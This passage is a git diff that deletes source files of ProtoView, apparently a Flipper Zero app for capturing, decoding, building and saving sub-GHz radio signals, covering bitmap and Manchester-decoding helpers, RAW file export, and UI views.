= doff / 8; - uint32_t sidx = soff / 8; - while(count > 8 && didx < dlen && sidx < slen) { - d[didx++] = s[sidx++]; - count -= 8; - } - doff = didx * 8; - soff = sidx * 8; - /* Note that if we entered this path, the count at the end - * of the loop will be < 8. */ - } - - /* Copy the bits needed to reach an offset where we can copy - * two half bytes of src to a full byte of destination. */ - while(count > 8 && (doff & 7) != 0) { - bool bit = bitmap_get(s, slen, soff++); - bitmap_set(d, dlen, doff++, bit); - count--; - } - - /* If we are here and count > 8, we have an offset that is byte aligned - * to the destination bitmap, but not aligned to the source bitmap. - * We can copy fast enough by shifting each two bytes of the original - * bitmap. - * - * This is how it works: - * - * dst: - * +--------+--------+--------+ - * | 0 | 1 | 2 | - * | | | | <- data to fill - * +--------+--------+--------+ - * ^ - * | - * doff = 8 - * - * src: - * +--------+--------+--------+ - * | 0 | 1 | 2 | - * |hellowor|ld!HELLO|WORLDS!!| <- data to copy - * +--------+--------+--------+ - * ^ - * | - * soff = 11 - * - * skew = 11%8 = 3 - * each destination byte in dst will receive: - * - * dst[doff/8] = (src[soff/8] << skew) | (src[soff/8+1] >> (8-skew)) - * - * dstbyte = doff/8 = 8/8 = 1 - * srcbyte = soff/8 = 11/8 = 1 - * - * so dst[1] will get: - * src[1] << 3, that is "ld!HELLO" << 3 = "HELLO..." - * xored with - * src[2] << 5, that is "WORLDS!!" >> 5 = ".....WOR" - * That is "HELLOWOR" - */ - if(count > 8) { - uint8_t skew = soff % 8; /* Don't worry, compiler will optimize. */ - uint32_t didx = doff / 8; - uint32_t sidx = soff / 8; - while(count > 8 && didx < dlen && sidx < slen) { - d[didx] = ((s[sidx] << skew) | (s[sidx + 1] >> (8 - skew))); - sidx++; - didx++; - soff += 8; - doff += 8; - count -= 8; - } - } - - /* Here count is guaranteed to be < 8. - * Copy the final bits bit by bit. */ - while(count) { - bool bit = bitmap_get(s, slen, soff++); - bitmap_set(d, dlen, doff++, bit); - count--; - } -} - -/* We decode bits assuming the first bit we receive is the MSB - * (see bitmap_set/get functions). Certain devices send data - * encoded in the reverse way. */ -void bitmap_reverse_bytes_bits(uint8_t* p, uint32_t len) { - for(uint32_t j = 0; j < len; j++) { - uint32_t b = p[j]; - /* Step 1: swap the two nibbles: 12345678 -> 56781234 */ - b = (b & 0xf0) >> 4 | (b & 0x0f) << 4; - /* Step 2: swap adjacent pairs : 56781234 -> 78563412 */ - b = (b & 0xcc) >> 2 | (b & 0x33) << 2; - /* Step 3: swap adjacent bits : 78563412 -> 87654321 */ - b = (b & 0xaa) >> 1 | (b & 0x55) << 1; - p[j] = b; - } -} - -/* Return true if the specified sequence of bits, provided as a string in the - * form "11010110..." is found in the 'b' bitmap of 'blen' bits at 'bitpos' - * position. */ -bool bitmap_match_bits(uint8_t* b, uint32_t blen, uint32_t bitpos, const char* bits) { - for(size_t j = 0; bits[j]; j++) { - bool expected = (bits[j] == '1') ? true : false; - if(bitmap_get(b, blen, bitpos + j) != expected) return false; - } - return true; -} - -/* Search for the specified bit sequence (see bitmap_match_bits() for details) - * in the bitmap 'b' of 'blen' bytes, looking forward at most 'maxbits' ahead. - * Returns the offset (in bits) of the match, or BITMAP_SEEK_NOT_FOUND if not - * found. - * - * Note: there are better algorithms, such as Boyer-Moore. Here we hope that - * for the kind of patterns we search we'll have a lot of early stops so - * we use a vanilla approach. */ -uint32_t bitmap_seek_bits( - uint8_t* b, - uint32_t blen, - uint32_t startpos, - uint32_t maxbits, - const char* bits) { - uint32_t endpos = startpos + blen * 8; - uint32_t end2 = startpos + maxbits; - if(end2 < endpos) endpos = end2; - for(uint32_t j = startpos; j < endpos; j++) - if(bitmap_match_bits(b, blen, j, bits)) return j; - return BITMAP_SEEK_NOT_FOUND; -} - -/* Compare bitmaps b1 and b2 (possibly overlapping or the same bitmap), - * at the specified offsets, for cmplen bits. Returns true if the - * exact same bits are found, otherwise false. */ -bool bitmap_match_bitmap( - uint8_t* b1, - uint32_t b1len, - uint32_t b1off, - uint8_t* b2, - uint32_t b2len, - uint32_t b2off, - uint32_t cmplen) { - for(uint32_t j = 0; j < cmplen; j++) { - bool bit1 = bitmap_get(b1, b1len, b1off + j); - bool bit2 = bitmap_get(b2, b2len, b2off + j); - if(bit1 != bit2) return false; - } - return true; -} - -/* Convert 'len' bitmap bits of the bitmap 'bitmap' into a null terminated - * string, stored at 'dst', that must have space at least for len+1 bytes. - * The bits are extracted from the specified offset. */ -void bitmap_to_string(char* dst, uint8_t* b, uint32_t blen, uint32_t off, uint32_t len) { - for(uint32_t j = 0; j < len; j++) dst[j] = bitmap_get(b, blen, off + j) ? '1' : '0'; - dst[len] = 0; -} - -/* Set the pattern 'pat' into the bitmap 'b' of max length 'blen' bytes, - * starting from the specified offset. - * - * The pattern is given as a string of 0s and 1s characters, like "01101001". - * This function is useful in order to set the test vectors in the protocol - * decoders, to see if the decoding works regardless of the fact we are able - * to actually receive a given signal. */ -void bitmap_set_pattern(uint8_t* b, uint32_t blen, uint32_t off, const char* pat) { - uint32_t i = 0; - while(pat[i]) { - bitmap_set(b, blen, i + off, pat[i] == '1'); - i++; - } -} - -/* Take the raw signal and turn it into a sequence of bits inside the - * buffer 'b'. Note that such 0s and 1s are NOT the actual data in the - * signal, but is just a low level representation of the line code. Basically - * if the short pulse we find in the signal is 320us, we convert high and - * low levels in the raw sample in this way: - * - * If for instance we see a high level lasting ~600 us, we will add - * two 1s bit. If then the signal goes down for 330us, we will add one zero, - * and so forth. So for each period of high and low we find the closest - * multiple and set the relevant number of bits. - * - * In case of a short pulse of 320us detected, 320*2 is the closest to a - * high pulse of 600us, so 2 bits will be set. - * - * In other terms what this function does is sampling the signal at - * fixed 'rate' intervals. - * - * This representation makes it simple to decode the signal at a higher - * level later, translating it from Marshal coding or other line codes - * to the actual bits/bytes. - * - * The 'idx' argument marks the detected signal start index into the - * raw samples buffer. The 'count' tells the function how many raw - * samples to convert into bits. The function returns the number of - * bits set into the buffer 'b'. The 'rate' argument, in microseconds, is - * the detected short-pulse duration. We expect the line code to be - * meaningful when interpreted at multiples of 'rate'. */ -uint32_t convert_signal_to_bits( - uint8_t* b, - uint32_t blen, - RawSamplesBuffer* s, - uint32_t idx, - uint32_t count, - uint32_t rate) { - if(rate == 0) return 0; /* We can't perform the conversion. */ - uint32_t bitpos = 0; - for(uint32_t j = 0; j < count; j++) { - uint32_t dur; - bool level; - raw_samples_get(s, j + idx, &level, &dur); - - uint32_t numbits = dur / rate; /* full bits that surely fit. */ - uint32_t rest = dur % rate; /* How much we are left with. */ - if(rest > rate / 2) numbits++; /* There is another one. */ - - /* Limit how much a single sample can spawn. There are likely no - * protocols doing such long pulses when the rate is low. */ - if(numbits > 1024) numbits = 1024; - - if(0) /* Super verbose, so not under the DEBUG_MSG define. */ - FURI_LOG_E(TAG, "%lu converted into %lu (%d) bits", dur, numbits, (int)level); - - /* If the signal is too short, let's claim it an interference - * and ignore it completely. */ - if(numbits == 0) continue; - - while(numbits--) bitmap_set(b, blen, bitpos++, level); - } - return bitpos; -} - -/* This function converts the line code used to the final data representation. - * The representation is put inside 'buf', for up to 'buflen' bytes of total - * data. For instance in order to convert manchester you can use "10" and "01" - * as zero and one patterns. However this function does not handle differential - * encodings. See below for convert_from_diff_manchester(). - * - * The function returns the number of bits converted. It will stop as soon - * as it finds a pattern that does not match zero or one patterns, or when - * the end of the bitmap pointed by 'bits' is reached (the length is - * specified in bytes by the caller, via the 'len' parameters). - * - * The decoding starts at the specified offset (in bits) 'off'. */ -uint32_t convert_from_line_code( - uint8_t* buf, - uint64_t buflen, - uint8_t* bits, - uint32_t len, - uint32_t off, - const char* zero_pattern, - const char* one_pattern) { - uint32_t decoded = 0; /* Number of bits extracted. */ - len *= 8; /* Convert bytes to bits. */ - while(off < len) { - bool bitval; - if(bitmap_match_bits(bits, len, off, zero_pattern)) { - bitval = false; - off += strlen(zero_pattern); - } else if(bitmap_match_bits(bits, len, off, one_pattern)) { - bitval = true; - off += strlen(one_pattern); - } else { - break; - } - bitmap_set(buf, buflen, decoded++, bitval); - if(decoded / 8 == buflen) break; /* No space left on target buffer. */ - } - return decoded; -} - -/* Convert the differential Manchester code to bits. This is similar to - * convert_from_line_code() but specific for diff-Manchester. The user must - * supply the value of the previous symbol before this stream, since - * in differential codings the next bits depend on the previous one. - * - * Parameters and return values are like convert_from_line_code(). */ -uint32_t convert_from_diff_manchester( - uint8_t* buf, - uint64_t buflen, - uint8_t* bits, - uint32_t len, - uint32_t off, - bool previous) { - uint32_t decoded = 0; - len *= 8; /* Conver to bits. */ - for(uint32_t j = off; j < len; j += 2) { - bool b0 = bitmap_get(bits, len, j); - bool b1 = bitmap_get(bits, len, j + 1); - if(b0 == previous) break; /* Each new bit must switch value. */ - bitmap_set(buf, buflen, decoded++, b0 == b1); - previous = b1; - if(decoded / 8 == buflen) break; /* No space left on target buffer. */ - } - return decoded; -} - -/* Free the message info and allocated data. */ -void free_msg_info(ProtoViewMsgInfo* i) { - if(i == NULL) return; - fieldset_free(i->fieldset); - free(i->bits); - free(i); -} - -/* Reset the message info structure before passing it to the decoding - * functions. */ -void init_msg_info(ProtoViewMsgInfo* i, ProtoViewApp* app) { - UNUSED(app); - memset(i, 0, sizeof(ProtoViewMsgInfo)); - i->bits = NULL; - i->fieldset = fieldset_new(); -} - -/* This function is called when a new signal is detected. It converts it - * to a bitstream, and the calls the protocol specific functions for - * decoding. If the signal was decoded correctly by some protocol, true - * is returned. Otherwise false is returned. */ -bool decode_signal(RawSamplesBuffer* s, uint64_t len, ProtoViewMsgInfo* info) { - uint32_t bitmap_bits_size = 4096 * 8; - uint32_t bitmap_size = bitmap_bits_size / 8; - - /* We call the decoders with an offset a few samples before the actual - * signal detected and for a len of a few bits after its end. */ - uint32_t before_samples = 32; - uint32_t after_samples = 100; - - uint8_t* bitmap = malloc(bitmap_size); - uint32_t bits = convert_signal_to_bits( - bitmap, - bitmap_size, - s, - -before_samples, - len + before_samples + after_samples, - s->short_pulse_dur); - - if(DEBUG_MSG) { /* Useful for debugging purposes. Don't remove. */ - char* str = malloc(1024); - uint32_t j; - for(j = 0; j < bits && j < 1023; j++) { - str[j] = bitmap_get(bitmap, bitmap_size, j) ? '1' : '0'; - } - str[j] = 0; - FURI_LOG_E(TAG, "%lu bits sampled: %s", bits, str); - free(str); - } - - /* Try all the decoders available. */ - int j = 0; - - bool decoded = false; - while(Decoders[j]) { - uint32_t start_time = furi_get_tick(); - decoded = Decoders[j]->decode(bitmap, bitmap_size, bits, info); - uint32_t delta = furi_get_tick() - start_time; - FURI_LOG_E(TAG, "Decoder %s took %lu ms", Decoders[j]->name, (unsigned long)delta); - if(decoded) { - info->decoder = Decoders[j]; - break; - } - j++; - } - - if(!decoded) { - FURI_LOG_E(TAG, "No decoding possible"); - } else { - FURI_LOG_E(TAG, "+++ Decoded %s", info->decoder->name); - /* The message was correctly decoded: fill the info structure - * with the decoded signal. The decoder may not implement offset/len - * filling of the structure. In such case we have no info and - * pulses_count will be set to zero. */ - if(info->pulses_count) { - info->bits_bytes = (info->pulses_count + 7) / 8; // Round to full byte. - info->bits = malloc(info->bits_bytes); - bitmap_copy( - info->bits, - info->bits_bytes, - 0, - bitmap, - bitmap_size, - info->start_off, - info->pulses_count); - } - } - free(bitmap); - return decoded; -} diff --git a/applications/external/protoview/signal_file.c b/applications/external/protoview/signal_file.c deleted file mode 100644 index e7934d04b..000000000 --- a/applications/external/protoview/signal_file.c +++ /dev/null @@ -1,138 +0,0 @@ -/* Copyright (C) 2023 Salvatore Sanfilippo -- All Rights Reserved - * Copyright (C) 2023 Maciej Wojtasik -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include "app.h" -#include -#include - -/* ========================= Signal file operations ========================= */ - -/* This function saves the current logical signal on disk. What is saved here - * is not the signal as level and duration as we received it from CC1101, - * but it's logical representation stored in the app->msg_info bitmap, where - * each 1 or 0 means a puls or gap for the specified short pulse duration time - * (te). */ -bool save_signal(ProtoViewApp* app, const char* filename) { - /* We have a message at all? */ - if(app->msg_info == NULL || app->msg_info->pulses_count == 0) return false; - - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* file = flipper_format_file_alloc(storage); - Stream* stream = flipper_format_get_raw_stream(file); - FuriString* file_content = NULL; - bool success = true; - - if(flipper_format_file_open_always(file, filename)) { - /* Write the file header. */ - FuriString* file_content = furi_string_alloc(); - const char* preset_id = ProtoViewModulations[app->modulation].id; - - furi_string_printf( - file_content, - "Filetype: Flipper SubGhz RAW File\n" - "Version: 1\n" - "Frequency: %ld\n" - "Preset: %s\n", - app->frequency, - preset_id ? preset_id : "FuriHalSubGhzPresetCustom"); - - /* For custom modulations, we need to emit a set of registers. */ - if(preset_id == NULL) { - FuriString* custom = furi_string_alloc(); - uint8_t* regs = ProtoViewModulations[app->modulation].custom; - furi_string_printf( - custom, - "Custom_preset_module: CC1101\n" - "Custom_preset_data: "); - for(int j = 0; regs[j]; j += 2) { - furi_string_cat_printf(custom, "%02X %02X ", (int)regs[j], (int)regs[j + 1]); - } - // Add patable - furi_string_cat(custom, "00 00 C0 00 00 00 00 00 00 00 "); - //size_t len = furi_string_size(file_content); - //furi_string_set_char(custom, len - 1, '\n'); - furi_string_cat(custom, "\n"); - furi_string_cat(file_content, custom); - furi_string_free(custom); - } - - /* We always save raw files. */ - furi_string_cat_printf( - file_content, - "Protocol: RAW\n" - "RAW_Data: -10000\n"); // Start with 10 ms of gap - - /* Write header. */ - size_t len = furi_string_size(file_content); - if(stream_write(stream, (uint8_t*)furi_string_get_cstr(file_content), len) != len) { - FURI_LOG_W(TAG, "Short write to file"); - success = false; - goto write_err; - } - furi_string_reset(file_content); - - /* Write raw data sections. The Flipper subghz parser can't handle - * too much data on a single line, so we generate a new one - * every few samples. */ - uint32_t this_line_samples = 0; - uint32_t max_line_samples = 100; - uint32_t idx = 0; // Iindex in the signal bitmap. - ProtoViewMsgInfo* i = app->msg_info; - while(idx < i->pulses_count) { - bool level = bitmap_get(i->bits, i->bits_bytes, idx); - uint32_t te_times = 1; - idx++; - /* Count the duration of the current pulse/gap. */ - while(idx < i->pulses_count && bitmap_get(i->bits, i->bits_bytes, idx) == level) { - te_times++; - idx++; - } - // Invariant: after the loop 'idx' is at the start of the - // next gap or pulse. - - int32_t dur = (int32_t)i->short_pulse_dur * te_times; - if(level == 0) dur = -dur; /* Negative is gap in raw files. */ - - /* Emit the sample. If this is the first sample of the line, - * also emit the RAW_Data: field. */ - if(this_line_samples == 0) furi_string_cat_printf(file_content, "RAW_Data: "); - furi_string_cat_printf(file_content, "%d ", (int)dur); - this_line_samples++; - - /* Store the current set of samples on disk, when we reach a - * given number or the end of the signal. */ - bool end_reached = (idx == i->pulses_count); - if(this_line_samples == max_line_samples || end_reached) { - /* If that's the end, terminate the signal with a long - * gap. */ - if(end_reached) furi_string_cat_printf(file_content, "-10000 "); - - /* We always have a trailing space in the last sample. Make it - * a newline. */ - size_t len = furi_string_size(file_content); - furi_string_set_char(file_content, len - 1, '\n'); - - if(stream_write(stream, (uint8_t*)furi_string_get_cstr(file_content), len) != - len) { - FURI_LOG_W(TAG, "Short write to file"); - success = false; - goto write_err; - } - - /* Prepare for next line. */ - furi_string_reset(file_content); - this_line_samples = 0; - } - } - } else { - success = false; - FURI_LOG_W(TAG, "Unable to open file"); - } - -write_err: - furi_record_close(RECORD_STORAGE); - flipper_format_free(file); - if(file_content != NULL) furi_string_free(file_content); - return success; -} diff --git a/applications/external/protoview/ui.c b/applications/external/protoview/ui.c deleted file mode 100644 index b0251f09f..000000000 --- a/applications/external/protoview/ui.c +++ /dev/null @@ -1,145 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include "app.h" - -/* =========================== Subview handling ================================ - * Note that these are not the Flipper subviews, but the subview system - * implemented inside ProtoView. - * ========================================================================== */ - -/* Return the ID of the currently selected subview, of the current - * view. */ -int ui_get_current_subview(ProtoViewApp* app) { - return app->current_subview[app->current_view]; -} - -/* Called by view rendering callback that has subviews, to show small triangles - * facing down/up if there are other subviews the user can access with up - * and down. */ -void ui_show_available_subviews(Canvas* canvas, ProtoViewApp* app, int last_subview) { - int subview = ui_get_current_subview(app); - if(subview != 0) canvas_draw_triangle(canvas, 120, 5, 8, 5, CanvasDirectionBottomToTop); - if(subview != last_subview - 1) - canvas_draw_triangle(canvas, 120, 59, 8, 5, CanvasDirectionTopToBottom); -} - -/* Handle up/down keys when we are in a subview. If the function catched - * such keypress, it returns true, so that the actual view input callback - * knows it can just return ASAP without doing anything. */ -bool ui_process_subview_updown(ProtoViewApp* app, InputEvent input, int last_subview) { - int subview = ui_get_current_subview(app); - if(input.type == InputTypePress) { - if(input.key == InputKeyUp) { - if(subview != 0) app->current_subview[app->current_view]--; - return true; - } else if(input.key == InputKeyDown) { - if(subview != last_subview - 1) app->current_subview[app->current_view]++; - return true; - } - } - return false; -} - -/* ============================= Text input ==================================== - * Normally we just use our own private UI widgets. However for the text input - * widget, that is quite complex, visualizes a keyboard and must be standardized - * for user coherent experience, we use the one provided by the Flipper - * framework. The following two functions allow to show the keyboard to get - * text and later dismiss it. - * ========================================================================== */ - -/* Show the keyboard, take the user input and store it into the specified - * 'buffer' of 'buflen' total bytes. When the user is done, the done_callback - * is called passing the application context to it. Such callback needs - * to do whatever it wants with the input buffer and dismissi the keyboard - * calling: dismiss_keyboard(app); - * - * Note: if the buffer is not a null-termined zero string, what it contains will - * be used as initial input for the user. */ -void ui_show_keyboard( - ProtoViewApp* app, - char* buffer, - uint32_t buflen, - void (*done_callback)(void*)) { - app->show_text_input = true; - app->text_input_buffer = buffer; - app->text_input_buffer_len = buflen; - app->text_input_done_callback = done_callback; -} - -void ui_dismiss_keyboard(ProtoViewApp* app) { - view_dispatcher_stop(app->view_dispatcher); -} - -/* ================================= Alert ================================== */ - -/* Set an alert message to be shown over any currently active view, for - * the specified amount of time of 'ttl' milliseconds. */ -void ui_show_alert(ProtoViewApp* app, const char* text, uint32_t ttl) { - app->alert_dismiss_time = furi_get_tick() + furi_ms_to_ticks(ttl); - snprintf(app->alert_text, ALERT_MAX_LEN, "%s", text); -} - -/* Cancel the alert before its time has elapsed. */ -void ui_dismiss_alert(ProtoViewApp* app) { - app->alert_dismiss_time = 0; -} - -/* Show the alert if an alert is set. This is called after the currently - * active view displayed its stuff, so we overwrite the screen with the - * alert message. */ -void ui_draw_alert_if_needed(Canvas* canvas, ProtoViewApp* app) { - if(app->alert_dismiss_time == 0) { - /* No active alert. */ - return; - } else if(app->alert_dismiss_time < furi_get_tick()) { - /* Alert just expired. */ - ui_dismiss_alert(app); - return; - } - - /* Show the alert. A box with black border and a text inside. */ - canvas_set_font(canvas, FontPrimary); - uint8_t w = canvas_string_width(canvas, app->alert_text); - uint8_t h = 8; // Font height. - uint8_t text_x = 64 - (w / 2); - uint8_t text_y = 32 + 4; - uint8_t padding = 3; - canvas_set_color(canvas, ColorBlack); - canvas_draw_box( - canvas, text_x - padding, text_y - padding - h, w + padding * 2, h + padding * 2); - canvas_set_color(canvas, ColorWhite); - canvas_draw_box( - canvas, - text_x - padding + 1, - text_y - padding - h + 1, - w + padding * 2 - 2, - h + padding * 2 - 2); - canvas_set_color(canvas, ColorBlack); - canvas_draw_str(canvas, text_x, text_y, app->alert_text); -} - -/* =========================== Canvas extensions ============================ */ - -void canvas_draw_str_with_border( - Canvas* canvas, - uint8_t x, - uint8_t y, - const char* str, - Color text_color, - Color border_color) { - struct { - uint8_t x; - uint8_t y; - } dir[8] = {{-1, -1}, {0, -1}, {1, -1}, {1, 0}, {1, 1}, {0, 1}, {-1, 1}, {-1, 0}}; - - /* Rotate in all the directions writing the same string to create a - * border, then write the actual string in the other color in the - * middle. */ - canvas_set_color(canvas, border_color); - for(int j = 0; j < 8; j++) canvas_draw_str(canvas, x + dir[j].x, y + dir[j].y, str); - canvas_set_color(canvas, text_color); - canvas_draw_str(canvas, x, y, str); - canvas_set_color(canvas, ColorBlack); -} diff --git a/applications/external/protoview/view_build.c b/applications/external/protoview/view_build.c deleted file mode 100644 index 57e6e4fbc..000000000 --- a/applications/external/protoview/view_build.c +++ /dev/null @@ -1,248 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include "app.h" - -extern ProtoViewDecoder* Decoders[]; // Defined in signal.c. - -/* Our view private data. */ -#define USER_VALUE_LEN 64 -typedef struct { - ProtoViewDecoder* decoder; /* Decoder we are using to create a - message. */ - uint32_t cur_decoder; /* Decoder index when we are yet selecting - a decoder. Used when decoder is NULL. */ - ProtoViewFieldSet* fieldset; /* The fields to populate. */ - uint32_t cur_field; /* Field we are editing right now. This - is the index inside the 'fieldset' - fields. */ - char* user_value; /* Keyboard input to replace the current - field value goes here. */ -} BuildViewPrivData; - -/* Not all the decoders support message bulding, so we can't just - * increment / decrement the cur_decoder index here. */ -static void select_next_decoder(ProtoViewApp* app) { - BuildViewPrivData* privdata = app->view_privdata; - do { - privdata->cur_decoder++; - if(Decoders[privdata->cur_decoder] == NULL) privdata->cur_decoder = 0; - } while(Decoders[privdata->cur_decoder]->get_fields == NULL); -} - -/* Like select_next_decoder() but goes backward. */ -static void select_prev_decoder(ProtoViewApp* app) { - BuildViewPrivData* privdata = app->view_privdata; - do { - if(privdata->cur_decoder == 0) { - /* Go one after the last one to wrap around. */ - while(Decoders[privdata->cur_decoder]) privdata->cur_decoder++; - } - privdata->cur_decoder--; - } while(Decoders[privdata->cur_decoder]->get_fields == NULL); -} - -/* Render the view to select the decoder, among the ones that - * support message building. */ -static void render_view_select_decoder(Canvas* const canvas, ProtoViewApp* app) { - BuildViewPrivData* privdata = app->view_privdata; - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 0, 9, "Signal creator"); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 0, 19, "up/down: select, ok: choose"); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned( - canvas, 64, 38, AlignCenter, AlignCenter, Decoders[privdata->cur_decoder]->name); -} - -/* Render the view that allows the user to populate the fields needed - * for the selected decoder to build a message. */ -static void render_view_set_fields(Canvas* const canvas, ProtoViewApp* app) { - BuildViewPrivData* privdata = app->view_privdata; - char buf[32]; - snprintf( - buf, - sizeof(buf), - "%s field %d/%d", - privdata->decoder->name, - (int)privdata->cur_field + 1, - (int)privdata->fieldset->numfields); - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, 0, 0, 128, 21); - canvas_set_color(canvas, ColorWhite); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 1, 9, buf); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 1, 19, "up/down: next field, ok: edit"); - - /* Write the field name, type, current content. */ - canvas_set_color(canvas, ColorBlack); - ProtoViewField* field = privdata->fieldset->fields[privdata->cur_field]; - snprintf( - buf, sizeof(buf), "%s %s:%d", field->name, field_get_type_name(field), (int)field->len); - buf[0] = toupper(buf[0]); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, 30, AlignCenter, AlignCenter, buf); - canvas_set_font(canvas, FontSecondary); - - /* Render the current value between "" */ - unsigned int written = (unsigned int)field_to_string(buf + 1, sizeof(buf) - 1, field); - buf[0] = '"'; - if(written + 3 < sizeof(buf)) memcpy(buf + written + 1, "\"\x00", 2); - canvas_draw_str_aligned(canvas, 63, 45, AlignCenter, AlignCenter, buf); - - /* Footer instructions. */ - canvas_draw_str(canvas, 0, 62, "Long ok: create, < > incr/decr"); -} - -/* Render the build message view. */ -void render_view_build_message(Canvas* const canvas, ProtoViewApp* app) { - BuildViewPrivData* privdata = app->view_privdata; - - if(privdata->decoder) - render_view_set_fields(canvas, app); - else - render_view_select_decoder(canvas, app); -} - -/* Handle input for the decoder selection. */ -static void process_input_select_decoder(ProtoViewApp* app, InputEvent input) { - BuildViewPrivData* privdata = app->view_privdata; - if(input.type == InputTypeShort) { - if(input.key == InputKeyOk) { - privdata->decoder = Decoders[privdata->cur_decoder]; - privdata->fieldset = fieldset_new(); - privdata->decoder->get_fields(privdata->fieldset); - - /* If the currently decoded message was produced with the - * same decoder the user selected, let's populate the - * defaults with the current values. So the user will - * actaully edit the current message. */ - if(app->signal_decoded && app->msg_info->decoder == privdata->decoder) { - fieldset_copy_matching_fields(privdata->fieldset, app->msg_info->fieldset); - } - - /* Now we use the subview system in order to protect the - message editing mode from accidental < or > presses. - Since we are technically into a subview now, we'll have - control of < and >. */ - InputEvent ii = {.type = InputTypePress, .key = InputKeyDown}; - ui_process_subview_updown(app, ii, 2); - } else if(input.key == InputKeyDown) { - select_next_decoder(app); - } else if(input.key == InputKeyUp) { - select_prev_decoder(app); - } - } -} - -/* Called after the user typed the new field value in the keyboard. - * Let's save it and remove the keyboard view. */ -static void text_input_done_callback(void* context) { - ProtoViewApp* app = context; - BuildViewPrivData* privdata = app->view_privdata; - - if(field_set_from_string( - privdata->fieldset->fields[privdata->cur_field], - privdata->user_value, - strlen(privdata->user_value)) == false) { - ui_show_alert(app, "Invalid value", 1500); - } - - free(privdata->user_value); - privdata->user_value = NULL; - ui_dismiss_keyboard(app); -} - -/* Handles the effects of < and > keys in field editing mode. - * Instead of force the user to enter the text input mode, delete - * the old value, enter the one, we allow to increment and - * decrement the current field in a much simpler way. - * - * The current filed is changed by 'incr' amount. */ -static bool increment_current_field(ProtoViewApp* app, int incr) { - BuildViewPrivData* privdata = app->view_privdata; - ProtoViewFieldSet* fs = privdata->fieldset; - ProtoViewField* f = fs->fields[privdata->cur_field]; - return field_incr_value(f, incr); -} - -/* Handle input for fields editing mode. */ -static void process_input_set_fields(ProtoViewApp* app, InputEvent input) { - BuildViewPrivData* privdata = app->view_privdata; - ProtoViewFieldSet* fs = privdata->fieldset; - - if(input.type == InputTypeShort && input.key == InputKeyOk) { - /* Show the keyboard to let the user type the new - * value. */ - if(privdata->user_value == NULL) privdata->user_value = malloc(USER_VALUE_LEN); - field_to_string(privdata->user_value, USER_VALUE_LEN, fs->fields[privdata->cur_field]); - ui_show_keyboard(app, privdata->user_value, USER_VALUE_LEN, text_input_done_callback); - } else if(input.type == InputTypeShort && input.key == InputKeyDown) { - privdata->cur_field = (privdata->cur_field + 1) % fs->numfields; - } else if(input.type == InputTypeShort && input.key == InputKeyUp) { - if(privdata->cur_field == 0) - privdata->cur_field = fs->numfields - 1; - else - privdata->cur_field--; - } else if(input.type == InputTypeShort && input.key == InputKeyRight) { - increment_current_field(app, 1); - } else if(input.type == InputTypeShort && input.key == InputKeyLeft) { - increment_current_field(app, -1); - } else if(input.type == InputTypeRepeat && input.key == InputKeyRight) { - // The reason why we don't use a large increment directly - // is that certain field types only support +1 -1 increments. - int times = 10; - while(times--) increment_current_field(app, 1); - } else if(input.type == InputTypeRepeat && input.key == InputKeyLeft) { - int times = 10; - while(times--) increment_current_field(app, -1); - } else if(input.type == InputTypeLong && input.key == InputKeyOk) { - // Build the message in a fresh raw buffer. - if(privdata->decoder->build_message) { - RawSamplesBuffer* rs = raw_samples_alloc(); - privdata->decoder->build_message(rs, privdata->fieldset); - app->signal_decoded = false; // So that the new signal will be - // accepted as the current signal. - scan_for_signal(app, rs, 5); - raw_samples_free(rs); - ui_show_alert(app, "Done: press back key", 3000); - } - } -} - -/* Handle input for the build message view. */ -void process_input_build_message(ProtoViewApp* app, InputEvent input) { - BuildViewPrivData* privdata = app->view_privdata; - if(privdata->decoder) - process_input_set_fields(app, input); - else - process_input_select_decoder(app, input); -} - -/* Enter view callback. */ -void view_enter_build_message(ProtoViewApp* app) { - BuildViewPrivData* privdata = app->view_privdata; - - // When we enter the view, the current decoder is just set to zero. - // Seek the next valid if needed. - if(Decoders[privdata->cur_decoder]->get_fields == NULL) { - select_next_decoder(app); - } - - // However if there is currently a decoded message, and the - // decoder of such message supports message building, let's - // select it. - if(app->signal_decoded && app->msg_info->decoder->get_fields && - app->msg_info->decoder->build_message) { - while(Decoders[privdata->cur_decoder] != app->msg_info->decoder) select_next_decoder(app); - } -} - -/* Called on exit for cleanup. */ -void view_exit_build_message(ProtoViewApp* app) { - BuildViewPrivData* privdata = app->view_privdata; - if(privdata->fieldset) fieldset_free(privdata->fieldset); - if(privdata->user_value) free(privdata->user_value); -} diff --git a/applications/external/protoview/view_direct_sampling.c b/applications/external/protoview/view_direct_sampling.c deleted file mode 100644 index f43c77042..000000000 --- a/applications/external/protoview/view_direct_sampling.c +++ /dev/null @@ -1,173 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include "app.h" -#include - -static void direct_sampling_timer_start(ProtoViewApp* app); -static void direct_sampling_timer_stop(ProtoViewApp* app); - -#define CAPTURED_BITMAP_BITS (128 * 64) -#define CAPTURED_BITMAP_BYTES (CAPTURED_BITMAP_BITS / 8) -#define DEFAULT_USEC_PER_PIXEL 50 -#define USEC_PER_PIXEL_SMALL_CHANGE 5 -#define USEC_PER_PIXEL_LARGE_CHANGE 25 -#define USEC_PER_PIXEL_MIN 5 -#define USEC_PER_PIXEL_MAX 300 -typedef struct { - uint8_t* captured; // Bitmap with the last captured screen. - uint32_t captured_idx; // Current index to write into the bitmap - uint32_t usec_per_pixel; // Number of useconds a pixel should represent - bool show_usage_info; -} DirectSamplingViewPrivData; - -/* Read directly from the G0 CC1101 pin, and draw a black or white - * dot depending on the level. */ -void render_view_direct_sampling(Canvas* const canvas, ProtoViewApp* app) { - DirectSamplingViewPrivData* privdata = app->view_privdata; - - if(!app->direct_sampling_enabled && privdata->show_usage_info) { - canvas_set_font(canvas, 